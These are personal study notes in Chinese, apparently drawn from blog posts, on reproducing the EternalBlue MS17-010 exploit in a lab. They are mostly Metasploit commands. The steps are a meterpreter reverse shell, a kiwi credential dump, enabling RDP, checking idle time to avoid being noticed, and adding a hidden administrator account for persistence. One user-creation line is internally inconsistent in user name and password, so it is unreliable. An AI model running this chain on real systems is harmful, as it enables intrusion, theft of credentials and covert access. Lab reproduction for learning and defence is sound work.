永恒之蓝ms17-010漏洞复现
注:本文为个人学习笔记,文章部分内容转载自他人文章,文章详情可查看
【精选】Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)-CSDN博客
Metasploit学习笔记(二)——永恒之蓝MS17-010漏洞复现_metasploit 永恒之蓝_Zichel77的博客-CSDN博客
-
环境要求:
虚拟机:VMware Workstation 16 下载网址:Windows 虚拟机 | Workstation Pro | VMware | CN
攻击机:kali | 镜像下载:Index of /kali-images/
靶机:Win7 |镜像下载:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn)
-
准备工作:
1.首先要将靶机的防火墙关闭,因为防火墙开启可能会导致nmap扫描不到其端口,MSF无法利用漏洞进行攻击。
- 确保攻击机和靶机的ip地址在同一网段(分别用ifconfig和ipconfig查询ip地址),可以试着让两台机器相互ping,判断是否可以相互通信。
-
漏洞复现:
- 通过nmap扫描靶机端口
nmap -sS 192.168.16.132
扫描发现445端口开启(永恒之蓝借助445端口传播),因此可以加以利用。
- 利用msfconsole查询漏洞利用模块。
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
##利用永恒之蓝漏洞
set payload windows/x64/meterpreter/reverse_tcp
##设置payload
set LHOST 192.168.16.126
##设置本机IP地址
set RHOSTS 192.168.16.132
##设置受害主机IP
set RPORT 445
##设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
exploit
##利用漏洞
看到WIN说明攻击成功。
运行成功后会出现meterpreter> ,Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。
-
功能演示:
-
获取靶机cmd
meterpreter > shell
chcp 65001 //转换编码
ipconfig #查看ip
whoami #查看当前用户名称
-
屏幕截图
meterpreter > screenshot #屏幕截图
-
上传文件
meterpreter > upload user.txt c://
返回靶机查看,发现上传成功。
-
远程登录:
kiwi模块查看密码(使用kiwi模块需要system管理员权限)
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
这里我们可以看到靶机的用户名及密码
exit #退出
在建立远程连接前,需要靶机的3389端口为打开状态,但3389端口默认为关闭状态。我们可以通过执行远程链接命令来启动靶机的3389端口。
执行命令:
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
再次查看靶机远程登录设置,发现被修改为可进行远程链接。
root@kali:~# rdesktop 192.168.16.132 //使用 rdesktop 命令远程连接桌面
连接成功,我们使用刚才的用户名密码进行登录
登录成功。
而靶机显示账户已登录。
创建新用户(避免远程登录被发现):
meterpreter > shell #进入命令行
net user ironman 123456 /add #新建用户ironman 密码123
net localgroup administrators kill /add #将用户ironman添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户
(root���kali)-[/home/zyykali38]
└─# rdesktop 192.168.16.132
但是这样会被win7的当前用户提示要不要让远程用户远程连接到本机:
解决方法1:
- 输入“gpedit.msc”并回车,打开本地组策略编辑器。
- 在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。
- 右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。
- 保存设置并关闭组策略编辑器。
解决方法2:
下载补丁,补丁名称为 universal termsrv.dll path
继续连接,连接成功。